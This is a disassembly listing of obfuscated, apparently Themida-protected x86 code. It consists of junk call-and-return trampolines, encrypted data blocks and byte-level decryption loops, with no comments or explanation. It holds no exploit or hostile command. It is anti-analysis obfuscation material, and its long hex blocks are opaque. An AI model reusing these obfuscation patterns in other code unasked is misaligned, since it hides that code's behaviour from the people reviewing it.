		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58F815	proc near		; CODE XREF: Themida_:0058F80Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_58F815	endp

; ---------------------------------------------------------------------------
		db 7Fh,	0C0h, 85h
		dd 92BED3F5h, 11E808h, 0EA5D0000h, 0F1680D93h, 5F0ED217h
		dd 4F4CFE4Ch, 0BF2F9850h, 1475454Fh, 21B5FF5Fh,	8B061028h
		dd 10001D9Dh, 1595FF06h, 0E9061006h, 132h, 22A5BD89h, 0B00610h
		dd 51BD89h, 70E60610h, 8133BF66h, 8E971E4h, 0D2000000h
		dd 53080C02h, 3CFA1032h, 7830F61h, 89000001h, 1029F59Dh
		dd 0C8B60F06h, 9E349ABFh, 6BA73h, 0E9600000h, 10h, 8C0CC17h
		dd 41517807h, 7E70D902h, 760A78BAh, 0C18B61F5h,	10E9h
		dd 71F63600h, 2531C0EBh, 1FD00377h, 171AE926h, 4E8C135h
		dd 6BD38166h, 0E2F766E0h, 4A10BB66h, 11E9C82Bh,	3A000000h
		dd 9425FC00h, 0E5A94220h, 41C7EAC9h, 0D20EEF58h, 9589D18Bh
		dd 610124Dh, 9E9h, 9D9D2B00h, 0F061009h, 858BFAB7h, 61016B5h
		dd 35BD8B60h, 61061011h, 29C58509h, 0C0830610h,	83FE8B07h
		dd 5E900C0h, 9E000000h,	632BB765h, 830FD03Bh, 25h, 8D33DF81h
		dd 4FE96D19h, 0E8000000h, 0Fh, 3C38EDBDh, 9E51DF6Bh, 0D7F7AD4h
		dd 60635A1Ch, 61C68B66h, 7D8D8B5Bh, 0BF061029h,	3487F8Bh
		dd 0F01E183h, 2184h, 0E7816600h, 0A583D566h, 610297Dh
		dd 0AFBF66FEh, 0B59589F9h, 89061016h, 1023518Dh, 0E906h
		dd 0B58D0000h, 613DA9Bh, 6A5BF552h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 4D6156E8h
		dd 0FFFB8B66h, 1031C995h, 22D38106h, 2965C71Eh,	1001B185h
		dd 7B3B906h, 0B5310000h, 61006F5h, 0FFCE183h, 680h, 8DBD8B00h
		dd 0FC06100Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	39C35242h, 5B83F19Ch, 9529DEF2h, 6100AA5h, 8B66C02Bh
		dd 0BADEh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 7635C0C3h, 50FD9420h, 0FFBF6646h
		dd 0C233AD0Fh, 0D003E8D1h, 7504E983h, 0E8BA60F4h, 0F04ADD8h
		dd 1580h, 10E900h, 0B3480000h, 4FA8AD7h, 427A99F7h, 0DEC4500Bh
		dd 6A618FC8h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 83C4C351h, 7A625EFCh, 7E926FDh
		dd 86000000h, 0DD4E9BA8h, 880DE5E5h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 819AC350h, 0D0ED4F7h, 0F5958B2Ch, 0E9061009h, 14h, 39EF1924h
		dd 1770A865h, 4C8C3C4Bh, 0D9593F95h, 8FEB96DDh,	23198D8Bh
		dd 81660610h, 50BBDBCBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 5774965Ch, 6A9F87h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 1D3C4AC3h
		dd 77B72B11h, 1E29BD83h, 0F000610h, 8084h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0CFE5FF8Bh, 2B006F01h, 10348D9Dh, 0B806h, 8D8D0000h
		dd 6104E85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0DAC35343h, 9DBD8B5Fh, 0FF06101Ch, 51006AE1h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0F72AFF0Ah, 17B017EFh, 0BF0FA48Bh, 0C1BD83FFh, 61022h
		dd 34D840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 999E7CC3h, 5D9531h, 0BD830610h
		dd 61022C1h, 37840F01h,	66000003h, 0F836DB81h, 22C1BD83h
		dd 0F030610h, 2EF86h, 1D853100h, 8B061002h, 101FEDBDh
		dd 9E96006h, 72000000h,	41AAE072h, 0FD82C725h, 6AD98C66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 50D5C351h, 6010F82Eh, 1D2CE49h, 102AB98Dh
		dd 4E18006h, 0AFBBF0Fh,	0BB840FC9h, 0BF000000h,	74DDF43Eh
		dd 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 8831CDC3h, 0D3811A91h, 6C0500D1h
		dd 11FD8533h, 0BD8B0610h, 6101CB1h, 295DBD8Bh, 66500610h
		dd 89EC46BFh, 85292404h, 6102161h, 0FA8B006Ah, 0D3BC0268h
		dd 6E8EDh, 0F8790000h, 897E0B5h, 815B5B50h, 47FD2404h
		dd 8A0F124Bh, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+61005D5h]
		cld
		mov	[ebp+613C26Dh],	eax
		mov	edi, edx
		jmp	loc_58FED3
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_58FD0F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FD0F	proc near		; CODE XREF: Themida_:0058FD07p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_58FD0F	endp

; ---------------------------------------------------------------------------
		db 68h
; ---------------------------------------------------------------------------
		dec	ecx
		inc	esi
		mov	esi, 73687FAFh
		call	near ptr loc_58FD32+1
		or	ch, [eax+5CD6DC4Fh]


loc_58FD32:				; CODE XREF: Themida_:0058FD27p
		cmp	eax, 8B5BF98Bh
		test	[ebp-3Eh], esp
		adc	eax, [esi]
		push	0
		push	ebx
		call	sub_58FD47


loc_58FD44:				; CODE XREF: Themida_:0058FD5Cj
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FD47	proc near		; CODE XREF: Themida_:0058FD3Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_58FD47	endp

; ---------------------------------------------------------------------------
		mov	eax, 0BF795E35h
		jmp	short loc_58FD44
; ---------------------------------------------------------------------------
		cmp	ah, [edx]
		or	bx, 722Dh
		mov	dword ptr [eax], 18h
		push	0
		push	esi
		call	sub_58FD76
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FD76	proc near		; CODE XREF: Themida_:0058FD6Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_58FD76	endp

; ---------------------------------------------------------------------------
		wait
		jmp	loc_58FD96
; ---------------------------------------------------------------------------
		dd 0E103567Ah, 10520782h
		db 0DAh, 0AEh
; ---------------------------------------------------------------------------


loc_58FD96:				; CODE XREF: Themida_:0058FD87j
		mov	esi, [ebp+613C269h]
		mov	[ebp+61011E5h],	edi
		mov	eax, [ebp+6100E25h]
		jmp	loc_58FDBF
; ---------------------------------------------------------------------------
		db 83h,	37h, 18h
		dd 315FB7Ah, 0CF39A92Eh, 0DA85EF15h
		db 81h,	1Eh, 0F6h
; ---------------------------------------------------------------------------


loc_58FDBF:				; CODE XREF: Themida_:0058FDA8j
		mov	[esi], eax
		push	0
		push	edi
		call	sub_58FDCC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FDCC	proc near		; CODE XREF: Themida_:0058FDC4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58FDCC	endp

; ---------------------------------------------------------------------------
		dd 858BB095h, 6102185h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0CAC35343h, 89BB3F27h, 1021E585h, 4468906h
		dd 50F98B66h, 34895B53h, 0C810F24h, 0F000000h, 687h, 0A59D8B00h
		dd 0FF061030h, 13C265B5h, 8D89F806h, 6103299h, 4E8h, 1F03FF00h
		dd 0E9606000h, 7, 0B2E211C2h, 0E81B9D17h, 0Dh, 0DEEB9D7h
		dd 19532515h, 95177A3Ch, 0B0615E48h, 0B350619Eh, 24448BD2h
		dd 0F88B6604h, 850F008Bh, 15h, 10E9h, 0B6C93900h, 4B4A6FEBh
		dd 3B4BF441h, 400760AEh, 244489EBh, 5819B704h, 15ED9D09h
		dd 858D0610h, 613C26Dh,	139D9589h, 0E8500610h, 0Bh, 0C4F5FCB0h
		dd 29C8A86Dh, 0E922F4F2h, 8, 3E3B3BA6h,	97867B7Bh, 2404895Fh
		dd 0FFFBB70Fh, 1005D595h, 459D8B06h
; ---------------------------------------------------------------------------
		sub	[eax], dl
		push	es


loc_58FED3:				; CODE XREF: Themida_:0058FCFFj
		popa
		mov	ebx, 52E34A68h
		mov	dword ptr [ebp+61022C1h], 3
		sub	ebx, [ebp+610063Dh]
		mov	ebx, [ebp+6100975h]
		cmp	dword ptr [ebp+613C26Dh], 0
		jz	loc_58FF14
		mov	ebx, [ebp+6102E09h]
		jmp	loc_58FF2F
; ---------------------------------------------------------------------------
		jmp	loc_58FF12
; ---------------------------------------------------------------------------
		dd 0AD5F7540h
		db 7Ah,	3Eh
; ---------------------------------------------------------------------------


loc_58FF12:				; CODE XREF: Themida_:0058FF07j
		mov	bl, dl


loc_58FF14:				; CODE XREF: Themida_:0058FEF6j
					; Themida_:0058FF2Bj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_58FF14
		jmp	short loc_58FF65
; ---------------------------------------------------------------------------


loc_58FF2F:				; CODE XREF: Themida_:0058FF02j
					; Themida_:0058FF46j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_58FF2F
		jmp	short loc_58FF65
; ---------------------------------------------------------------------------


loc_58FF4A:				; CODE XREF: Themida_:0058FF61j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_58FF4A
		jmp	short $+2


loc_58FF65:				; CODE XREF: Themida_:0058FF2Dj
					; Themida_:0058FF48j
		mov	eax, eax
		push	0
		push	ebp
		call	sub_58FF72
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FF72	proc near		; CODE XREF: Themida_:0058FF6Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_58FF72	endp

; ---------------------------------------------------------------------------
		dw 8BF3h
; ---------------------------------------------------------------------------
		popf
		lds	ecx, [ecx]
		adc	[esi], al
		cmp	dword ptr [ebp+61022C1h], 3
		jnz	loc_590413
		cmp	dword ptr [ebp+613C26Dh], 0
		jz	loc_590413
		push	0
		push	esi
		call	sub_58FFAE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FFAE	proc near		; CODE XREF: Themida_:0058FFA6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_58FFAE	endp

; ---------------------------------------------------------------------------
		cli
		clc
		push	dword ptr [ebp+613C26Dh]
		jmp	loc_58FFD7
; ---------------------------------------------------------------------------
		inc	ecx
		sub	dl, bh
		pop	edx
		sar	ebp, 1
		retf
; ---------------------------------------------------------------------------
		dw 8B3h
		db 80h,	8Dh, 0B8h
; ---------------------------------------------------------------------------


loc_58FFD7:				; CODE XREF: Themida_:0058FFC6j
		call	dword ptr [ebp+6102FA5h]
		push	0
		push	ebp
		call	sub_58FFE8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FFE8	proc near		; CODE XREF: Themida_:0058FFE0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_58FFE8	endp

; ---------------------------------------------------------------------------
		mov	cl, 0EBh
		adc	byte ptr [esi-41h], 0FEh
		pop	edx
		pushf
		xor	[ebx+13C261B5h], ecx
		push	es
		jmp	loc_59001E
; ---------------------------------------------------------------------------
		dd 29D88298h, 0CFEECB62h, 0FA5806F0h, 0F42B6AEAh
		db 25h,	1Ch
; ---------------------------------------------------------------------------


loc_59001E:				; CODE XREF: Themida_:00590007j
		mov	dword ptr [esi], 10001h
		mov	[ebp+6101145h],	ecx
		push	eax
		mov	[esp], esi
		push	0
		push	ebp
		call	sub_590039
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590039	proc near		; CODE XREF: Themida_:00590031p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_590039	endp

; ---------------------------------------------------------------------------
		adc	byte ptr [esi-77h], 8Dh
		mov	[ebp+610124Dh],	eax
		push	dword ptr [ebp+613C26Dh]
		or	[ebp+610049Dh],	edi
		mov	edi, [ebp+6101D1Dh]
		call	dword ptr [ebp+6101225h]
		push	0
		push	edx
		call	sub_590076
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590076	proc near		; CODE XREF: Themida_:0059006Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_590076	endp

; ---------------------------------------------------------------------------
		jnb	short loc_5900C1
		mov	di, 7414h
		mov	esi, [ebp+613C261h]
		push	0
		push	edi
		call	sub_59009D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59009D	proc near		; CODE XREF: Themida_:00590095p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_59009D	endp

; ---------------------------------------------------------------------------
		db 4Ah,	7Dh, 0A4h
		db 26h,	90h
; ---------------------------------------------------------------------------
		xor	[ebx+1021D185h], ecx
		push	es
		pusha
		pusha
		jmp	loc_5900C7
; ---------------------------------------------------------------------------
		cwde


loc_5900C1:				; CODE XREF: Themida_:00590086j
		popa
		mov	edi, 8DC2E6C3h


loc_5900C7:				; CODE XREF: Themida_:005900BBj
		mov	edi, 6E346125h
		popa
		jnb	loc_5900DE
		jmp	loc_5900DE
; ---------------------------------------------------------------------------
		dd 6F2B636Dh
		db 0Ah,	53h
; ---------------------------------------------------------------------------


loc_5900DE:				; CODE XREF: Themida_:005900CDj
					; Themida_:005900D3j
		popa
		mov	[esi+0C4h], eax
		push	0
		push	edx
		call	sub_5900F0
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5900F0	proc near		; CODE XREF: Themida_:005900E8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5900F0	endp

; ---------------------------------------------------------------------------
		dd 0E6DAD80Dh, 0C4FE940Bh, 0EE809FCh, 91000000h, 0DB7BDEC9h
		dd 4FC81E3Bh, 97AD6AFCh, 1A890FAFh, 0E8000000h,	14h, 0F0C331B6h
		dd 8988D96Ah, 82CE791Fh, 86DFAAFEh, 0F33A5103h,	958B5F5Bh
		dd 61009F5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0C7C35646h, 5BF88B52h, 8B04C283h, 1006D99Dh, 20508906h
		dd 165F61BFh, 0C2858D27h, 6A0613D7h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B40AC356h
		dd 0ACD66C83h, 0BE8C2h,	73B20000h, 0AA63F6E8h, 9700DB42h
		dd 5F616028h, 0B88689h,	0B5290000h, 61011F1h, 5E960h, 0D2A50000h
		dd 297C4DA4h, 100A498Dh, 6A6106h, 0F599D8Bh, 0B5FF0610h
		dd 613C26Dh, 0E11BD8Bh,	95FF0610h, 6100495h, 1BDEC381h
		dd 0F96054Bh, 0A8Ch, 62B26000h,	8C0Fh, 50610000h, 96FE8B66h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 27C35545h
		dd 0BD8B2BC5h, 6101C1Dh, 11E9h,	612B0D00h, 80E62188h, 9C518D3Bh
		dd 0C6D74FA9h, 0B5FF3053h, 613C26Dh, 0DE8h, 5D5A3E00h
		dd 3330B548h, 5C448089h, 13E92B8Bh, 0D3000000h,	226BC139h
		dd 0D4D8679Eh, 0E2E03A0Ch, 0ED8EF2ABh, 0FF5FDA8Bh, 10162D95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0BA9D0498h, 0E8FD9CE5h, 83F50AD0h, 101351BDh
		dd 840F0006h, 26h, 78DB8166h, 0BB669695h, 0E950E06Ah, 0Fh
		dd 0AD8DDFF7h, 0B35BE270h, 0CC813898h, 9641320Ah, 89DBD09h
		dd 0B5FF0610h, 613C26Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 6CC35747h, 610B39ADh,	0BB8444E8h, 51D9509h
		dd 9D8B0610h, 61019D5h,	0C1995FFh, 6A0610h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0D935C5C3h
		dd 28C85101h, 8052604Bh, 6659A6D7h, 0FF61CE8Bh,	13C26DB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 9C066C93h, 6860Fh, 0E7810000h, 21C3F1ECh
		dd 162195FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0EDDDC6C3h, 89BD8358h, 206100Fh
		dd 63840Fh, 0C3BB0000h,	8B3EE757h, 1010C585h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 2D9D0349h, 0C6061006h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 10E9CCC3h, 0DC000000h
		dd 46AF8FE2h, 6AB16C34h, 4E294C00h, 8B1E0E83h, 2585C7D9h
		dd 6102Ah, 0F000000h, 68Ah, 55B50100h
; ---------------------------------------------------------------------------
		das
		adc	[esi], al


loc_590413:				; CODE XREF: Themida_:0058FF90j
					; Themida_:0058FF9Dj
		jmp	loc_58F808
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_590423
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590423	proc near		; CODE XREF: Themida_:0059041Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_590423	endp

; ---------------------------------------------------------------------------
		db 19h
		dd 0F6BFC18Bh, 0BF2ABDA2h, 2A8F25BFh
dword_590440	dd 13B9858Dh, 9D890610h, 6101F1Dh, 0F78B6090h, 0CE8h, 10E50600h
					; DATA XREF: Themida_:0054CD80o
		dd 410055F7h, 9E97C623h, 8A0FC2h, 5E000000h, 6A905061h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0EF81C355h, 820FCCF1h, 9,	3850Fh,	0DF800000h
		dd 66006A34h, 0EA4CDF81h, 8166006Ah, 8DC990EFh,	14516D85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 5C08379h, 689BD31h, 8A900610h, 9BB750DEh
		dd 21DB8090h, 6AF8006Ah, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 81A33CB0h, 519D8B05h
		dd 66061005h, 0FF32CCBFh, 101D1995h, 8D8DF806h,	613AFD8h
		dd 77DFBB66h, 8F0FD1FFh, 4, 0B709BB66h,	2209BD83h, 0F010610h
		dd 0A385h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0B5EF81E1h, 11F32F6h, 1000D985h
		dd 0DF8B6606h, 0BD8B026Ah, 6100891h, 7599501h, 60900610h
		dd 5E8h, 2F85F200h, 8B6666AFh, 5E859C2h, 9B000000h, 3BD7AAE6h
		dd 615A6160h, 0EE950h, 42CC0000h, 8DF2989Dh, 91D2A022h
		dd 0E860E99Ch, 52006A90h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 433AC106h, 425CCB81h
		dd 0D7817A0Eh, 5EBB0993h, 49595FFh, 9D890610h, 6102129h
		dd 0D91E9h, 0E800h, 815D0000h, 145177EDh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0BE0997Dh, 72F59ABEh, 9D8B0239h, 6100DF1h, 6E9h, 5FB06F00h
		dd 23BAB73Eh, 1004FDBDh, 0B6858D06h, 6A061399h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0F09AC350h, 1F72EBFBh, 25558AA8h, 999D2B60h,	66061000h
		dd 0CD29CB81h, 8B0F5361h, 5, 8DEF8166h,	66905FF0h, 0F50FA8Bh
		dd 158Dh, 0DE800h, 0A8430000h, 0D7D903CEh, 0C4ED71A0h
		dd 8B906C25h, 6A905FFAh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 39EDC352h, 49BD8BCBh
		dd 0F061007h, 583h, 40BABB00h, 0FF641EE3h, 35h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 4F27DAFBh, 95010905h, 61005B1h, 0F7DF8166h, 258964FAh
		dd 0
		dd 28A0Fh, 0F98B0000h, 141985FFh, 66500610h, 6A5BDE8Bh
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 21D11621h, 0E932374Dh, 10h, 0F6AA4FC6h
		dd 0EEEC51BDh, 7B2BAFAAh, 0D7CB71D6h, 0A65BD01h, 0B5FF0610h
		dd 61030C5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0E6C35141h, 61595FFh, 30E90610h, 8B000001h, 100D599Dh
		dd 0F00B006h, 70E6FEBFh, 0B74262BFh, 2971E469h,	10144D9Dh
		dd 7E906h, 8EFD0000h, 7841E7E6h, 0F613C7Bh, 10283h, 0E1B50900h
		dd 0F061023h, 0D781C8B6h, 573055FAh, 6BAh, 5BD8B00h, 0F061002h
		dd 0C18BDBB7h, 2FC19D0Bh, 8B600610h, 10213985h,	0FB8B6606h
		dd 4E8C161h, 0FE9h, 0E0A83500h,	522E0A40h, 0E1970F71h
		dd 5BB36C0Eh, 23E2F766h, 102E45BDh, 66C82B06h, 8B4169BFh
		dd 0B5BD89D1h, 0E906102Eh, 2, 858BD98Bh, 61020A1h, 11E9h
		dd 6515CD00h, 28A058FCh, 2E7163D3h, 8C67024Fh, 0C083D909h
		dd 0C3816607h, 8060CB0Ch, 0B70F14DEh, 0C08361F1h, 0FD03B00h
		dd 1583h, 6062B300h, 0B299D03h,	0E9610610h, 57h, 2369BD8Bh
		dd 8D8B0610h, 6102381h,	40CCC381h, 0E1833ED1h, 3C840F01h
		dd 0E8000000h, 13h, 0C9F1C2A2h,	0EB59D17Eh, 6CEF46A8h
		dd 2A1658A2h, 31B17468h, 1032C1BDh, 0A5835B06h,	6102381h
		dd 219D8BFEh, 89061012h, 1020A195h, 0EB816606h,	0E901FAh
		dd 8D000000h, 13E426B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 8FA095BFh, 0ED6E177Dh
		dd 0F381006Ah, 741E75AAh, 31C995FFh, 6A0610h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 1B24A1C3h
		dd 8951BBC4h, 100EFD9Dh, 0D4B95F06h, 6000000Dh,	11358D8Bh
		dd 0BF0F0610h, 0E18361D3h, 51006AFCh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 5260B670h
		dd 1EF99D33h, 8B5F0610h, 8BFC61DEh, 100B759Dh, 8BC02B06h
		dd 102949BDh, 8BD22B06h, 0C233ADDFh, 0D003E8D1h, 7504E983h
		dd 52006AF4h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 6E0CE8F9h, 8B6652D4h, 9D095FF9h,	61023D9h
		dd 5E9h, 94F67300h, 0BD8BBFFBh,	6103289h, 880Dh, 9E900h
		dd 79A30000h, 799DBD0Ah, 8B035A3Ch, 1009F595h, 0FE8B6606h
		dd 23198D8Bh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0DEEC21C3h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 6A1EC3h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 249282C3h
		dd 0E0366DD2h, 0BD837AB3h, 6101E29h, 0AF840F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0F939C351h, 8E9h,	23FAC300h, 4995EE71h, 0B8E9h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0A0A8F5C3h, 0BD890458h, 6100169h,	2059BD09h
		dd 8D8D0610h, 6104E85h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0ABC35545h, 0BD293ABEh, 61027C1h, 2AF1BD8Bh
		dd 0E1FF0610h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	19C35040h, 1DC1BD8Bh, 0BD830610h, 61022C1h, 1D840F00h
		dd 60000004h, 912D37BAh, 71858966h, 61061013h, 22C1BD83h
		dd 0F010610h, 41E84h, 0D7C78100h, 835D7FB3h, 1022C1BDh
		dd 860F0306h, 3D5h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0F4C35646h, 1840Fh, 0E9F80000h, 7, 4E564F22h
		dd 60D593F2h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	83C35747h, 0AE5A08Bh, 598D8951h, 6606100Fh, 6AD98Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0F44518C3h, 3B23E42Fh, 0E1805786h, 0FC90A04h, 12F84h
		dd 6830F00h, 1000000h, 1014A99Dh, 85858B06h, 50061021h
		dd 11F98589h, 335F0610h, 1011FD85h, 0ADBD8B06h,	90061030h
		dd 11E950h, 0BF950000h,	81B0D197h, 0CC169214h, 5F1D4AB1h
		dd 90A7CA85h, 397B4BBFh, 89006A35h, 100A41BDh, 0C6096806h
		dd 52502ABBh, 6E9h, 0A3D78200h,	0FAD8EB2h, 0D557BF31h
		dd 585A4108h, 0F6243481h, 6A2AA4C5h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 517EC350h
		dd 0B88FB2Fh, 860F73A6h, 13h, 0CE951h, 99100000h, 0A91CAABDh
		dd 95FA85CFh, 0FF5FBC3Dh, 1005D595h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0BA25A273h
		dd 8B30E85Dh, 1031719Dh, 6D858906h, 6A0613C2h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 8D58C357h, 9B7F9880h, 0D43AE8C7h, 1E2E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 501453Fh, 6D439BCBh,	89F7BB66h, 0C265858Bh, 0DA8A0613h
		dd 1800C7h, 0BD8B0000h,	6100051h, 0C269B58Bh, 6A0613h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 4EBA9CC3h, 360DC9CEh, 9D890040h, 6100E71h, 0E25858Bh
		dd 95310610h, 6100975h,	6A0689h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0D2E2F1C3h, 50777C2Bh
		dd 8BEE4810h, 1023D99Dh, 85858B06h, 0B061021h, 102DE1BDh
